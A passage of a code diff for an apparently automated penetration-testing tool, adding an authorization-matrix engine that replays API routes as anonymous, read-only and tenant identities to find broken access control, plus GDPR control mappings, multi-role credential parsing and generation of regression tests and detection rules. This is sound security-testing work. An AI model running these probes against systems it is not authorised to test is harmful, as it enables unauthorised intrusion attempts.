+ if seg.len() == 24 && seg.chars().all(|c| c.is_ascii_hexdigit()) { + return "0".repeat(24); + } + if seg.split('-').count() == 5 { + return "00000000-0000-0000-0000-000000000000".to_string(); + } + // Numeric: a very large value is far more likely to be unused than 0. + "999999999999".to_string() +} + +/// Parse an identity's `Name: value` header into a `(name, value)` pair. +fn header_pair(id: &Identity) -> Option<(String, String)> { + let line = id.header_line()?; + let (n, v) = line.split_once(':')?; + Some((n.trim().to_string(), v.trim().to_string())) +} + +/// Headers to send for an identity (empty for anonymous). +fn headers_for(id: &Identity) -> Vec<(String, String)> { + header_pair(id).into_iter().collect() +} + +/// The single should-be-denied identity used for a write-route oracle: prefer +/// anonymous, then read-only, then any tenant. +fn pick_denied<'a>(creds: &'a Creds) -> Option<&'a Identity> { + let by = |t: Tier| creds.roles.iter().find(|r| r.tier_kind() == t); + by(Tier::None).or_else(|| by(Tier::ReadOnly)).or_else(|| by(Tier::Tenant)) +} + +/// Synthesize the candidate finding for a route (verdict comes later from +/// `validation::apply`). +fn synth_finding(route: &Route, kind_label: &str) -> Finding { + let mut id = std::collections::hash_map::DefaultHasher::new(); + use std::hash::{Hash, Hasher}; + (route.method.clone(), template(&route.url)).hash(&mut id); + Finding { + id: format!("authzmx-{:x}", id.finish()), + agent: "authz-matrix".into(), + title: format!("Broken authorization ({kind_label}) at {} {}", route.method, template(&route.url)), + cwe: "862".into(), + endpoint: route.url.clone(), + owasp: "A01:2025-Broken Access Control".into(), + stage: "privesc".into(), + exploitability: "moderate".into(), + ..Default::default() + } +} + +/// Run the matrix. `send(method, url, headers, body) -> Exchange` is the only IO +/// seam; the pipeline passes a reqwest-backed closure, tests pass a fake. +/// `max_requests` caps the sweep (the reasoning-budget governor's share). +pub async fn run( + inv: &RouteInventory, + creds: &Creds, + scope: &ScopePolicy, + max_requests: usize, + send: F, +) -> Vec<(Finding, Evidence)> +where + F: Fn(String, String, Vec<(String, String)>, String) -> Fut, + Fut: Future, +{ + let mut out = Vec::new(); + let mut budget = max_requests; + if !creds.authz_matrix_ready() { + return out; + } + let Some(highest) = creds.highest_identity() else { + return out; + }; + + for route in &inv.routes { + if budget == 0 { + break; + } + match route.kind { + RouteKind::Read => { + // Replay as each should-be-denied identity. + let mut probes = Vec::new(); + for id in creds.roles.iter() { + if id.name == highest.name { + continue; + } + let expect = id.expected(false); + if expect != Expect::Deny { + continue; // only probes we expect to be refused prove anything + } + if !allowed(scope, &route.url, &route.method) || budget == 0 { + continue; + } + budget -= 1; + let x = send(route.method.clone(), route.url.clone(), headers_for(id), String::new()).await; + probes.push(MatrixProbe { identity: id.name.clone(), expect, exchange: with_identity(x, &id.name) }); + } + if probes.iter().any(|p| p.expect == Expect::Deny) { + let ev = Evidence { matrix: probes, ..Default::default() }; + out.push((synth_finding(route, "missing authorization"), ev)); + } + } + RouteKind::Write => { + let Some(denied) = pick_denied(creds) else { continue }; + if denied.name == highest.name { + continue; + } + let url = with_nonexistent_id(&route.url); + // Writes use a non-existent id: Probe action, not Destructive. + if !allowed(scope, &url, &route.method) || budget < 2 { + continue; + } + budget -= 2; + let denied_x = send(route.method.clone(), url.clone(), headers_for(denied), String::new()).await; + let priv_x = send(route.method.clone(), url.clone(), headers_for(highest), String::new()).await; + let ev = Evidence { + oracle: Some(OracleProbe { + denied: with_identity(denied_x, &denied.name), + privileged: with_identity(priv_x, &highest.name), + }), + ..Default::default() + }; + out.push((synth_finding(route, "read-only / unauthorized write"), ev)); + } + } + } + out +} + +/// Run the matrix and apply the deterministic verdict to each candidate, so the +/// caller gets findings with `review_status`/`confidence` already set — ready to +/// merge into the run's finding list. Rejected candidates are dropped (they are +/// the control working); confirmed and needs-review are kept. +pub async fn run_pass( + inv: &RouteInventory, + creds: &Creds, + scope: &ScopePolicy, + max_requests: usize, + send: F, +) -> Vec +where + F: Fn(String, String, Vec<(String, String)>, String) -> Fut, + Fut: Future, +{ + let mut out = Vec::new(); + for (mut f, ev) in run(inv, creds, scope, max_requests, send).await { + let verdict = crate::validation::apply(&mut f, Some(&ev)); + if !matches!(verdict, crate::validation::Verdict::Rejected(_)) { + f.evidence = verdict.reason().to_string(); + out.push(f); + } + } + out +} + +/// A reqwest-backed sender for [`run`]/[`run_pass`]. The pipeline builds the +/// closure inline: `|m, u, h, b| authz_matrix::send_via(&client, m, u, h, b)`. +pub async fn send_via( + client: &reqwest::Client, + method: String, + url: String, + headers: Vec<(String, String)>, + body: String, +) -> Exchange { + let started = std::time::Instant::now(); + let m = reqwest::Method::from_bytes(method.as_bytes()).unwrap_or(reqwest::Method::GET); + let mut req = client.request(m, &url); + for (k, v) in &headers { + req = req.header(k.as_str(), v.as_str()); + } + if !body.is_empty() { + req = req.body(body.clone()); + } + let mut out = Exchange { method, url, provenance: "wire:harness".into(), ..Default::default() }; + match req.send().await { + Ok(resp) => { + out.status = resp.status().as_u16(); + out.content_type = resp + .headers() + .get(reqwest::header::CONTENT_TYPE) + .and_then(|v| v.to_str().ok()) + .unwrap_or("") + .to_string(); + for (k, v) in resp.headers().iter() { + if let Ok(val) = v.to_str() { + out.headers.insert(k.as_str().to_lowercase(), val.to_string()); + } + } + out.body = resp.text().await.unwrap_or_default(); + } + Err(_) => { + out.status = 0; // network error — reached nothing + } + } + out.elapsed_ms = started.elapsed().as_millis() as u64; + out +} + +fn with_identity(mut x: Exchange, id: &str) -> Exchange { + if x.identity.is_empty() { + x.identity = id.to_string(); + } + x +} + +/// Scope guard: a write with a non-existent id is a Probe (non-mutating in +/// effect), a read is Probe too. +fn allowed(scope: &ScopePolicy, url: &str, _method: &str) -> bool { + scope.check(url, Action::Probe).allowed() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::validation::{self, Verdict}; + + fn creds_three() -> Creds { + let mk = |name: &str, tier: &str, hdr: &str| Identity { + name: name.into(), + header: hdr.into(), + tier: tier.into(), + ..Default::default() + }; + Creds { + roles: vec![ + mk("admin", "high", "Authorization: Bearer AAA"), + mk("readonly", "readonly", "Authorization: Bearer BBB"), + Identity { name: "anonymous".into(), tier: "none".into(), ..Default::default() }, + ], + ..Default::default() + } + } + + fn ex(status: u16, body: &str) -> Exchange { + Exchange { status, body: body.into(), ..Default::default() } + } + + fn open_scope() -> ScopePolicy { + ScopePolicy::from_yaml("hard:\n - t.test\n") + } + + #[tokio::test] + async fn read_route_served_to_denied_identity_is_confirmed() { + let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/chargeback/list".into())]); + // Every identity gets the protected list back → missing authorization. + let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| { + std::future::ready(ex(200, "{\"total\":86776,\"items\":[{\"cpf\":\"...\"}]}")) + }; + let found = run(&inv, &creds_three(), &open_scope(), 100, send).await; + assert_eq!(found.len(), 1, "one read finding expected"); + let (f, evd) = &found[0]; + match validation::judge(f, Some(evd)) { + Verdict::Confirmed(r) => assert!(r.contains("expected deny"), "{r}"), + v => panic!("expected confirmation, got {v:?}"), + } + } + + #[tokio::test] + async fn enforced_read_route_yields_no_confirmation() { + let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/admin/users".into())]); + // Denied identities are correctly refused. + let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| { + std::future::ready(ex(403, "Forbidden")) + }; + let found = run(&inv, &creds_three(), &open_scope(), 100, send).await; + // A finding object is still produced, but the verdict rejects it. + assert_eq!(found.len(), 1); + let (f, evd) = &found[0]; + assert!(matches!(validation::judge(f, Some(evd)), Verdict::Rejected(_))); + } + + #[tokio::test] + async fn write_oracle_business_error_confirms() { + let inv = RouteInventory::from_endpoints(&[("PATCH".into(), "https://t.test/chargeback/6531aa/decision".into())]); + // Non-existent id → both denied and privileged get the same business + // "not found": authorization did nothing. + let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| { + std::future::ready(ex(404, "record not found")) + }; + let found = run(&inv, &creds_three(), &open_scope(), 100, send).await; + assert_eq!(found.len(), 1, "one write finding expected"); + let (f, evd) = &found[0]; + assert!(evd.oracle.is_some(), "write route should carry an oracle probe"); + match validation::judge(f, Some(evd)) { + Verdict::Confirmed(r) => assert!(r.contains("business logic"), "{r}"), + v => panic!("expected confirmation, got {v:?}"), + } + } + + #[tokio::test] + async fn write_oracle_403_is_rejected() { + let inv = RouteInventory::from_endpoints(&[("DELETE".into(), "https://t.test/users/123".into())]); + let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| { + std::future::ready(ex(403, "Forbidden")) + }; + let found = run(&inv, &creds_three(), &open_scope(), 100, send).await; + assert_eq!(found.len(), 1); + let (f, evd) = &found[0]; + assert!(matches!(validation::judge(f, Some(evd)), Verdict::Rejected(_))); + } + + #[tokio::test] + async fn no_matrix_without_two_tiers() { + let one = Creds { + roles: vec![Identity { name: "admin".into(), header: "Authorization: Bearer A".into(), tier: "high".into(), ..Default::default() }], + ..Default::default() + }; + let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/x".into())]); + let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| std::future::ready(ex(200, "x")); + assert!(run(&inv, &one, &open_scope(), 100, send).await.is_empty()); + } + + #[test] + fn template_collapses_ids() { + assert_eq!(template("https://t.test/users/123/orders/456"), "https://t.test/users/{id}/orders/{id}"); + assert_eq!(template("https://t.test/u/6531aaffbbccddeeff001122"), "https://t.test/u/{id}"); + assert_eq!( + template("https://t.test/u/550e8400-e29b-41d4-a716-446655440000"), + "https://t.test/u/{id}" + ); + } + + #[test] + fn nonexistent_id_keeps_shape() { + assert_eq!(with_nonexistent_id("https://t.test/users/123"), "https://t.test/users/999999999999"); + assert_eq!( + with_nonexistent_id("https://t.test/u/6531aaffbbccddeeff001122/go"), + "https://t.test/u/000000000000000000000000/go" + ); + assert_eq!(with_nonexistent_id("https://t.test/refund"), "https://t.test/refund/000000000000000000000000"); + } +} diff --git a/neurosploit-rs/crates/harness/src/compliance.rs b/neurosploit-rs/crates/harness/src/compliance.rs index ffefd35..115f904 100644 --- a/neurosploit-rs/crates/harness/src/compliance.rs +++ b/neurosploit-rs/crates/harness/src/compliance.rs @@ -35,6 +35,8 @@ pub enum Framework { Hipaa, /// SOC 2 — Trust Services Criteria (security, availability, confidentiality). Soc2, + /// GDPR — EU General Data Protection Regulation (2016/679). + Gdpr, } impl Framework { @@ -43,6 +45,7 @@ impl Framework { Framework::PciDss => "pci-dss", Framework::Hipaa => "hipaa", Framework::Soc2 => "soc2", + Framework::Gdpr => "gdpr", } } pub fn title(self) -> &'static str { @@ -50,6 +53,7 @@ impl Framework { Framework::PciDss => "PCI-DSS v4.0", Framework::Hipaa => "HIPAA Security Rule", Framework::Soc2 => "SOC 2 (Trust Services Criteria)", + Framework::Gdpr => "GDPR (EU 2016/679)", } } pub fn parse(s: &str) -> Option { @@ -57,11 +61,12 @@ impl Framework { "pci" | "pci-dss" | "pcidss" => Framework::PciDss, "hipaa" => Framework::Hipaa, "soc2" | "soc-2" | "soc" => Framework::Soc2, + "gdpr" | "eu-gdpr" => Framework::Gdpr, _ => return None, }) } - pub fn all() -> [Framework; 3] { - [Framework::PciDss, Framework::Hipaa, Framework::Soc2] + pub fn all() -> [Framework; 4] { + [Framework::PciDss, Framework::Hipaa, Framework::Soc2, Framework::Gdpr] } } @@ -191,6 +196,22 @@ fn controls_for(cat: Category, fw: Framework) -> Vec { (Soc2, InsufficientLogging) => vec![Control::new("CC7.2", "Security events are monitored and logged for analysis")], (Soc2, Csrf) => vec![Control::new("CC6.1", "Actions are performed only by authenticated, authorized users")], (Soc2, Other) => vec![Control::new("CC7.1", "Vulnerabilities are identified, evaluated and remediated")], + + // ---- GDPR (EU 2016/679) ------------------------------------------ + // Art. 5(1)(f) integrity & confidentiality; Art. 25 data protection by + // design; Art. 30 records of processing; Art. 32 security of processing; + // Art. 33/34 breach notification to the authority / data subjects. + (Gdpr, Injection) => vec![Control::new("Art. 32(1)(b)", "Ongoing confidentiality, integrity and resilience of processing systems"), Control::new("Art. 25", "Data protection by design and by default")], + (Gdpr, BrokenAccessControl) => vec![Control::new("Art. 32(1)(b)", "Confidentiality of processing — personal data accessible only to authorised persons"), Control::new("Art. 5(1)(f)", "Integrity and confidentiality principle")], + (Gdpr, BrokenAuth) => vec![Control::new("Art. 32(1)(b)", "Access to processing systems restricted by appropriate authentication"), Control::new("Art. 5(1)(f)", "Protection against unauthorised processing")], + (Gdpr, CryptoTransport) => vec![Control::new("Art. 32(1)(a)", "Encryption of personal data"), Control::new("Art. 5(1)(f)", "Protection against unauthorised access in transit")], + (Gdpr, SensitiveDataExposure) => vec![Control::new("Art. 5(1)(f)", "Protection against unauthorised or unlawful processing and accidental loss"), Control::new("Art. 33", "Notification of a personal data breach to the supervisory authority"), Control::new("Art. 5(1)(c)", "Data minimisation — expose no more than necessary")], + (Gdpr, SecurityMisconfig) => vec![Control::new("Art. 32(1)", "Appropriate technical and organisational security measures"), Control::new("Art. 25", "Data protection by design and by default")], + (Gdpr, Ssrf) => vec![Control::new("Art. 32(1)(b)", "Confidentiality of internal systems that process personal data")], + (Gdpr, VulnerableComponent) => vec![Control::new("Art. 32(1)(d)", "Regularly testing, assessing and evaluating the effectiveness of security measures")], + (Gdpr, InsufficientLogging) => vec![Control::new("Art. 30", "Records of processing activities"), Control::new("Art. 33(5)", "Documenting personal data breaches")], + (Gdpr, Csrf) => vec![Control::new("Art. 32(1)(b)", "Protection against unauthorised processing actions")], + (Gdpr, Other) => vec![Control::new("Art. 32(1)(d)", "Regular testing and evaluation of security measures")], } } diff --git a/neurosploit-rs/crates/harness/src/creds.rs b/neurosploit-rs/crates/harness/src/creds.rs index f27430d..dc702ae 100644 --- a/neurosploit-rs/crates/harness/src/creds.rs +++ b/neurosploit-rs/crates/harness/src/creds.rs @@ -19,6 +19,27 @@ //! password: admin //! success: Logout //! ``` +//! +//! Multi-identity block for the authorization matrix (each identity is a named +//! block; `tier` is `high|readonly|tenant|none`, and an explicit `none` keeps a +//! credential-less anonymous context the matrix needs): +//! ```yaml +//! admin: +//! header: "Authorization: Bearer AAA" +//! tier: high +//! readonly: +//! header: "Authorization: Bearer BBB" +//! tier: readonly +//! tenantB: +//! cookie: "session=ccc" +//! known_id: "6531bb" # a real object this identity owns (BOLA baseline) +//! anonymous: +//! tier: none +//! sample_values: # valid domain values to pass format gates +//! nfe_key: "3520...0017" +//! cnpj: "11222333000181" +//! known_ids: "6531aa, 6531bb" +//! ``` #[derive(Default, Debug, Clone)] pub struct Login { @@ -92,6 +113,30 @@ pub struct Identity { pub login_url: String, // login endpoint (agent authenticates itself) pub username: String, pub password: String, + /// Privilege tier for the authorization matrix: "high"|"readonly"|"tenant"| + /// "none"/"anonymous". Empty → derived from the name. + pub tier: String, + /// A real object id this identity legitimately owns (for BOLA baselines). + pub known_id: String, +} + +/// Privilege tier an identity holds, for deriving the access-control prior. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum Tier { + High, + ReadOnly, + Tenant, + None, +} + +/// Valid domain values the matrix engine uses to get a request past input/format +/// validation so it actually reaches the authorization check and the handler. +#[derive(Default, Debug, Clone)] +pub struct SampleValues { + pub nfe_key: String, + pub cnpj: String, + /// Comma-separated real ids, per the friendly YAML (`known_ids: a,b,c`). + pub known_ids: Vec, } impl Identity { @@ -110,6 +155,54 @@ impl Identity { else if !self.login_url.is_empty() { format!("{} → log in at {} as {}:{} and reuse the session", self.name, self.login_url, self.username, self.password) } else { format!("{} → (no usable credential)", self.name) } } + + /// Explicitly declared as the no-credential anonymous context (so a + /// credential-less block is kept only when it is meant to be anonymous, + /// never a typo'd empty one). + pub fn is_explicit_anonymous(&self) -> bool { + let t = self.tier.to_lowercase(); + t == "none" || t == "anonymous" || t == "anon" || self.name.to_lowercase().contains("anon") + } + + /// Resolve the privilege tier from the explicit `tier` or, failing that, + /// the name. A credential-less, tier-less block is treated as anonymous. + pub fn tier_kind(&self) -> Tier { + let t = self.tier.to_lowercase(); + let hay = format!("{t} {}", self.name.to_lowercase()); + match t.as_str() { + "high" | "admin" | "superuser" | "super" => return Tier::High, + "readonly" | "read-only" | "read only" | "ro" | "viewer" => return Tier::ReadOnly, + "tenant" | "user" | "customer" => return Tier::Tenant, + "none" | "anonymous" | "anon" => return Tier::None, + _ => {} + } + if self.header_line().is_none() && self.login_url.is_empty() { + return Tier::None; // no credential, no tier → anonymous + } + if hay.contains("admin") || hay.contains("super") || hay.contains("root") { + Tier::High + } else if hay.contains("readonly") || hay.contains("read-only") || hay.contains("read only") || hay.contains("viewer") { + Tier::ReadOnly + } else if hay.contains("anon") { + Tier::None + } else { + Tier::Tenant + } + } + + /// The access-control prior: what SHOULD happen for this identity on a + /// route. `write` = the route changes state (POST/PUT/PATCH/DELETE or a + /// decision verb). The matrix flags any observed Allow where Deny was + /// expected. Cross-tenant object access is left to the BOLA validator. + pub fn expected(&self, write: bool) -> crate::validation::Expect { + use crate::validation::Expect; + match self.tier_kind() { + Tier::High => Expect::Allow, + Tier::None => Expect::Deny, + Tier::ReadOnly => if write { Expect::Deny } else { Expect::Allow }, + Tier::Tenant => if write { Expect::Deny } else { Expect::Allow }, + } + } } #[derive(Default, Debug, Clone)] @@ -123,6 +216,8 @@ pub struct Creds { pub cloud: Option, /// Named identities for multi-role access-control testing. pub roles: Vec, + /// Valid domain values for the authorization matrix engine. + pub samples: SampleValues, } impl Creds { @@ -133,6 +228,7 @@ impl Creds { let mut ssh = Ssh { port: "22".into(), ..Default::default() }; let mut win = Win::default(); let mut cloud = Cloud::default(); + let mut samples = SampleValues::default(); let (mut have_login, mut have_ssh, mut have_win) = (false, false, false); let mut roles: Vec = Vec::new(); let mut cur_role = 0usize; @@ -157,6 +253,7 @@ impl Creds { "gcp" | "google" | "gcloud" => "gcp", "azure" | "az" => "azure", "roles" | "identities" | "users" => "", // optional wrapper — ignore + "sample_values" | "samples" | "fixtures" => "samples", // Any other named block is a role/identity for access-control testing. other => { roles.push(Identity { name: other.to_string(), ..Default::default() }); cur_role = roles.len() - 1; "role" } }; @@ -219,9 +316,19 @@ impl Creds { "login" | "url" | "login_url" => r.login_url = v, "username" | "user" => r.username = v, "password" | "pass" => r.password = v, + "tier" | "level" | "privilege" => r.tier = v, + "known_id" | "id" => r.known_id = v, _ => {} } }, + "samples" => match k.as_str() { + "nfe_key" | "nfekey" | "access_key" | "chave" => samples.nfe_key = v, + "cnpj" => samples.cnpj = v, + "known_ids" | "ids" => { + samples.known_ids = v.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); + } + _ => {} + }, _ => {} } continue; @@ -238,8 +345,12 @@ impl Creds { if have_ssh && !ssh.host.is_empty() { c.ssh = Some(ssh); } if have_win && !win.host.is_empty() { c.win = Some(win); } if !cloud.is_empty() { c.cloud = Some(cloud); } - roles.retain(|r| r.header_line().is_some() || !r.login_url.is_empty()); + // Keep an identity with real credentials, a self-login, or one that is + // EXPLICITLY the anonymous context (the matrix needs anonymous), but + // drop a typo'd empty block. + roles.retain(|r| r.header_line().is_some() || !r.login_url.is_empty() || r.is_explicit_anonymous()); c.roles = roles; + c.samples = samples; if c.jwt.is_none() && c.header.is_none() && c.cookie.is_none() && c.login.is_none() && c.ssh.is_none() && c.win.is_none() && c.cloud.is_none() && c.roles.is_empty() { @@ -248,6 +359,22 @@ impl Creds { Some(c) } + /// True when the authorization matrix can run: at least two identities + /// spanning at least two distinct privilege tiers (so there is a + /// should-be-denied context to differentiate against a privileged one). + pub fn authz_matrix_ready(&self) -> bool { + let tiers: std::collections::HashSet = self.roles.iter().map(|r| r.tier_kind()).collect(); + self.roles.len() >= 2 && tiers.len() >= 2 + } + + /// The highest-privilege identity, used as the matrix's privileged baseline. + pub fn highest_identity(&self) -> Option<&Identity> { + self.roles.iter().find(|r| r.tier_kind() == Tier::High) + .or_else(|| self.roles.iter().max_by_key(|r| match r.tier_kind() { + Tier::High => 3, Tier::Tenant => 2, Tier::ReadOnly => 1, Tier::None => 0, + })) + } + /// Multi-role access-control testing directive: lists every identity and /// instructs the agent to test cross-role access (IDOR/BOLA, BFLA, privesc) /// by acting as each role against the others' objects and functions. @@ -446,3 +573,86 @@ fn unquote(s: &str) -> String { s.to_string() } } + +#[cfg(test)] +mod tests { + use super::*; + + fn write_tmp(name: &str, body: &str) -> std::path::PathBuf { + let p = std::env::temp_dir().join(format!("ns_creds_{}_{}.yaml", name, std::process::id())); + std::fs::write(&p, body).unwrap(); + p + } + + #[test] + fn parses_identities_tiers_and_samples() { + let yaml = r#" +admin: + header: "Authorization: Bearer AAA" + tier: high +readonly: + header: "Authorization: Bearer BBB" + tier: readonly +tenantB: + cookie: "session=ccc" + known_id: "6531bb" +anonymous: + tier: none +sample_values: + nfe_key: "35200114200166000187550010000000071000000017" + cnpj: "11222333000181" + known_ids: "6531aa, 6531bb, 6531cc" +"#; + let p = write_tmp("matrix", yaml); + let c = Creds::load(&p).expect("should parse"); + std::fs::remove_file(&p).ok(); + + // Anonymous (credential-less) is KEPT because it is explicit. + assert_eq!(c.roles.len(), 4, "roles: {:?}", c.roles.iter().map(|r| &r.name).collect::>()); + + let tier = |name: &str| c.roles.iter().find(|r| r.name == name).unwrap().tier_kind(); + assert_eq!(tier("admin"), Tier::High); + assert_eq!(tier("readonly"), Tier::ReadOnly); + assert_eq!(tier("tenantB"), Tier::Tenant); + assert_eq!(tier("anonymous"), Tier::None); + + // Samples parsed. + assert_eq!(c.samples.cnpj, "11222333000181"); + assert_eq!(c.samples.known_ids.len(), 3); + assert!(!c.samples.nfe_key.is_empty()); + + assert!(c.authz_matrix_ready()); + assert_eq!(c.highest_identity().unwrap().name, "admin"); + } + + #[test] + fn expected_prior_matches_policy() { + use crate::validation::Expect; + let admin = Identity { name: "admin".into(), header: "Authorization: Bearer x".into(), tier: "high".into(), ..Default::default() }; + let ro = Identity { name: "ro".into(), header: "Authorization: Bearer x".into(), tier: "readonly".into(), ..Default::default() }; + let anon = Identity { name: "anon".into(), tier: "none".into(), ..Default::default() }; + + // Admin allowed everywhere. + assert_eq!(admin.expected(true), Expect::Allow); + assert_eq!(admin.expected(false), Expect::Allow); + // Read-only may read, must not write. + assert_eq!(ro.expected(false), Expect::Allow); + assert_eq!(ro.expected(true), Expect::Deny); + // Anonymous denied on any protected route. + assert_eq!(anon.expected(false), Expect::Deny); + assert_eq!(anon.expected(true), Expect::Deny); + } + + #[test] + fn typoed_empty_block_is_dropped_but_not_anonymous() { + // A credential-less block with no tier and a non-anon name is a typo, + // not an identity — it must be dropped. + let yaml = "ghost:\n note: nothing\nadmin:\n header: \"Authorization: Bearer A\"\n tier: high\n"; + let p = write_tmp("typo", yaml); + let c = Creds::load(&p).expect("should parse"); + std::fs::remove_file(&p).ok(); + assert_eq!(c.roles.len(), 1); + assert_eq!(c.roles[0].name, "admin"); + assert!(!c.authz_matrix_ready(), "one identity, one tier → not ready"); + } +} diff --git a/neurosploit-rs/crates/harness/src/deliverables.rs b/neurosploit-rs/crates/harness/src/deliverables.rs new file mode 100644 index 0000000..ed3a008 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/deliverables.rs @@ -0,0 +1,1044 @@ +//! Report deliverables that answer more than "it happened". +//! +//! The request/response-plus-narrative block answers one question. These +//! artifacts answer the ones a recipient actually asks, all derived from the +//! evidence the engine already recorded on each finding (`evidence_data`): +//! +//! - **Is it real?** `differential-proof.md` — the negative control next to the +//! attack, the computed difference, and the distribution over repeats. +//! - **Can I trust the record?** `evidence-custody.{md,json}` — every artifact +//! classed as OBSERVED (from the wire, hashed), DERIVED (computed by the +//! deterministic engine) or INFERRED (model narrative), with a hash chain. +//! - **Is it still open / did my fix work?** `tests/` — each finding as an +//! executable regression test (pytest asserting the *secure* behaviour, so it +//! fails while vulnerable and passes once fixed) plus a nuclei template, and a +//! `Makefile` with `make verify-`. +//! - **Would we see it?** `detection/` — Sigma, ModSecurity and SIEM queries +//! for each exploit, to replay the attack and check the defensive stack. +//! - **Who needs what?** `persona-{dev,appsec,executive}.md`. +//! +//! Everything here is additive and best-effort: it is written next to the +//! existing reports and a failure never affects them. Request credentials are +//! never written out — tests read them from environment variables. + +use crate::types::Finding; +use crate::validation::{diff, Evidence, Exchange, Expect}; +use sha2::{Digest, Sha256}; +use std::fmt::Write as _; +use std::path::Path; + +/// Write every deliverable under `/deliverables/`. +pub fn write_all(target: &str, findings: &[Finding], dir: &Path) -> std::io::Result<()> { + let out = dir.join("deliverables"); + std::fs::create_dir_all(out.join("tests"))?; + std::fs::create_dir_all(out.join("nuclei"))?; + std::fs::create_dir_all(out.join("detection"))?; + + let live: Vec<&Finding> = findings.iter().filter(|f| f.review_status != "rejected").collect(); + + std::fs::write(out.join("differential-proof.md"), differential_markdown(target, &live))?; + let (custody_md, custody_json) = custody(target, &live); + std::fs::write(out.join("evidence-custody.md"), custody_md)?; + std::fs::write(out.join("evidence-custody.json"), custody_json)?; + + let mut make = String::from( + "# NeuroSploit — exploit-as-test.\n# Each test asserts the SECURE behaviour: it FAILS while the finding is open\n# and PASSES once it is fixed. Credentials come from the environment:\n# NS_TARGET (default below), NS_HDR_AUTHORIZATION, NS_HDR_COOKIE, NS_HDR_X_API_KEY\n", + ); + let _ = writeln!(make, "NS_TARGET ?= {}\nexport NS_TARGET\n", target.trim_end_matches('/')); + let mut targets = Vec::new(); + let mut untestable: Vec = Vec::new(); + for f in &live { + let Some(t) = TestCase::from_finding(f) else { + if f.evidence_data.is_some() { + untestable.push(format!("{} — {}", slug(f), short(&f.title, 90))); + } + continue; + }; + let s = slug(f); + std::fs::write(out.join("tests").join(format!("test_{s}.py")), t.pytest(f))?; + std::fs::write(out.join("nuclei").join(format!("{s}.yaml")), t.nuclei(f))?; + let _ = writeln!(make, "verify-{s}:\n\tpython3 -m pytest -q tests/test_{s}.py\n"); + let _ = writeln!(make, "nuclei-{s}:\n\tnuclei -silent -t nuclei/{s}.yaml -u $(NS_TARGET)\n"); + targets.push(format!("verify-{s}")); + } + if !untestable.is_empty() { + let _ = writeln!(make, "# Not auto-testable (no harness marker, no negative control with a different\n# status, no identity swap) — reproduce these from report.md:"); + for u in &untestable { + let _ = writeln!(make, "# {}", u.replace('\n', " ")); + } + make.push('\n'); + } + let _ = writeln!(make, "verify-all: {}\n", targets.join(" ")); + let _ = writeln!(make, ".PHONY: verify-all {}", targets.join(" ")); + std::fs::write(out.join("Makefile"), make)?; + + let (sigma_files, modsec, siem) = detection(&live); + for (name, body) in sigma_files { + std::fs::write(out.join("detection").join(name), body)?; + } + std::fs::write(out.join("detection").join("modsecurity.conf"), modsec)?; + std::fs::write(out.join("detection").join("siem-queries.md"), siem)?; + + std::fs::write(out.join("persona-dev.md"), persona_dev(target, &live))?; + std::fs::write(out.join("persona-appsec.md"), persona_appsec(target, &live))?; + std::fs::write(out.join("persona-executive.md"), persona_executive(target, findings))?; + std::fs::write(out.join("README.md"), index(target, &live))?; + Ok(()) +} + +// --------------------------------------------------------------------------- +// shared helpers + +fn sha256_hex(data: &[u8]) -> String { + Sha256::digest(data).iter().map(|b| format!("{b:02x}")).collect() +} + +/// A filesystem/Makefile-safe identifier for a finding. +pub fn slug(f: &Finding) -> String { + let base = if f.id.is_empty() { format!("{}-{}", f.title, f.endpoint) } else { f.id.clone() }; + let mut s: String = base + .chars() + .map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' }) + .collect(); + while s.contains("--") { + s = s.replace("--", "-"); + } + let s = s.trim_matches('-').to_string(); + if s.is_empty() { + format!("f-{}", &sha256_hex(f.title.as_bytes())[..10]) + } else if s.len() > 48 { + format!("{}-{}", &s[..40], &sha256_hex(base.as_bytes())[..6]) + } else { + s + } +} + +fn md_cell(s: &str) -> String { + s.replace('|', "\\|").replace('\n', " ") +} + +fn short(s: &str, n: usize) -> String { + if s.chars().count() <= n { + s.to_string() + } else { + format!("{}…", s.chars().take(n).collect::()) + } +} + +/// Header names whose values are credentials — never written to disk. +fn is_secret_header(name: &str) -> bool { + matches!( + name.to_ascii_lowercase().as_str(), + "authorization" | "cookie" | "x-api-key" | "x-auth-token" | "proxy-authorization" | "x-csrf-token" + ) +} + +fn env_name(header: &str) -> String { + format!( + "NS_HDR_{}", + header.chars().map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_uppercase() } else { '_' }).collect::() + ) +} + +/// Split an absolute URL into (path+query) relative to its origin. +fn path_of(url: &str) -> String { + if let Some(i) = url.find("://") { + let rest = &url[i + 3..]; + return match rest.find('/') { + Some(j) => rest[j..].to_string(), + None => "/".to_string(), + }; + } + if url.starts_with('/') { url.to_string() } else { format!("/{url}") } +} + +fn is_rejected(f: &Finding) -> bool { + f.review_status == "rejected" +} + +fn verdict_label(f: &Finding) -> &str { + if f.review_status.is_empty() { + if f.validated { "confirmed" } else { "unvalidated" } + } else { + &f.review_status + } +} + +// --------------------------------------------------------------------------- +// #2 Differential proof + +fn exchange_row(label: &str, x: &Exchange) -> String { + format!( + "| {} | `{} {}` | {} | {} | {} B | {} ms | `{}` |", + label, + md_cell(&x.method), + md_cell(&short(&path_of(&x.url), 70)), + if x.identity.is_empty() { "—".into() } else { md_cell(&x.identity) }, + x.status, + x.body.len(), + x.elapsed_ms, + &sha256_hex(x.body.as_bytes())[..12] + ) +} + +const ROW_HEAD: &str = "| role | request | identity | status | size | time | body sha256 |\n|---|---|---|---|---|---|---|"; + +fn stats(xs: &[u64]) -> Option<(u64, u64, u64, f64, f64)> { + if xs.is_empty() { + return None; + } + let mut v = xs.to_vec(); + v.sort_unstable(); + let n = v.len() as f64; + let mean = v.iter().sum::() as f64 / n; + let var = v.iter().map(|x| (*x as f64 - mean).powi(2)).sum::() / n; + Some((v[0], v[v.len() / 2], v[v.len() - 